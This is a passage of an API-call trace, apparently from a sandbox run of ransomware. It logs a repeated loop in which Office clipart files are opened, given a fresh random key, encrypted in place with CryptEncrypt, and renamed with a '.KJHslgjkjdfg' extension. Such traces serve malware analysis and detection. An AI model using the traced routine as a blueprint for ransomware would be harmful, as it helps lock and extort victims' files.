lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.192] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.192] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.192] GetProcessHeap () returned 0x990000 [0188.192] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.192] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.192] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.192] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.193] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.193] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.193] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.193] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.193] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.193] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.193] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe6c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe6c, lpOverlapped=0x0) returned 1 [0188.193] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe70, dwBufLen=0xe70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe70) returned 1 [0188.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.193] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe70, lpOverlapped=0x0) returned 1 [0188.193] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.193] SetEndOfFile (hFile=0x130) returned 1 [0188.196] GetProcessHeap () returned 0x990000 [0188.196] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.196] GetProcessHeap () returned 0x990000 [0188.196] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.196] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.kjhslgjkjdfg")) returned 1 [0188.196] CloseHandle (hObject=0x130) returned 1 [0188.197] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0188.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.198] GetProcessHeap () returned 0x990000 [0188.198] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.198] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.198] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.198] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.198] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.198] GetProcessHeap () returned 0x990000 [0188.198] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.198] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.198] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.198] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.200] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.200] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.200] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.200] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.200] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.200] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.200] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe30, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe30, lpOverlapped=0x0) returned 1 [0188.200] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe30, dwBufLen=0xe30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe30) returned 1 [0188.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.200] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe30, lpOverlapped=0x0) returned 1 [0188.200] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.201] SetEndOfFile (hFile=0x130) returned 1 [0188.203] GetProcessHeap () returned 0x990000 [0188.203] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.203] GetProcessHeap () returned 0x990000 [0188.203] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.kjhslgjkjdfg")) returned 1 [0188.204] CloseHandle (hObject=0x130) returned 1 [0188.204] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0188.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.205] GetProcessHeap () returned 0x990000 [0188.205] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.205] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.205] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.205] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.205] GetProcessHeap () returned 0x990000 [0188.205] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.205] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.205] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.206] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.207] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.207] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.207] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.208] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.208] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.208] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.208] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe20, lpOverlapped=0x0) returned 1 [0188.208] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe20, dwBufLen=0xe20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe20) returned 1 [0188.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.208] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe20, lpOverlapped=0x0) returned 1 [0188.208] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.208] SetEndOfFile (hFile=0x130) returned 1 [0188.210] GetProcessHeap () returned 0x990000 [0188.210] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.210] GetProcessHeap () returned 0x990000 [0188.210] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.kjhslgjkjdfg")) returned 1 [0188.211] CloseHandle (hObject=0x130) returned 1 [0188.211] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0188.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.212] GetProcessHeap () returned 0x990000 [0188.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.212] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.214] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.214] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.214] GetProcessHeap () returned 0x990000 [0188.214] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.214] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.214] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.214] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.214] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.214] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.214] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.214] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.214] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.214] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.214] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x85c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x85c, lpOverlapped=0x0) returned 1 [0188.215] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x860, dwBufLen=0x860 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x860) returned 1 [0188.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.215] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x860, lpOverlapped=0x0) returned 1 [0188.215] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.215] SetEndOfFile (hFile=0x130) returned 1 [0188.217] GetProcessHeap () returned 0x990000 [0188.217] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.217] GetProcessHeap () returned 0x990000 [0188.217] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.kjhslgjkjdfg")) returned 1 [0188.224] CloseHandle (hObject=0x130) returned 1 [0188.224] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0188.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.224] GetProcessHeap () returned 0x990000 [0188.224] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.224] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.225] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.227] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.227] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.227] GetProcessHeap () returned 0x990000 [0188.227] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.227] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.227] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.227] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.227] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.227] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.227] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.228] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, 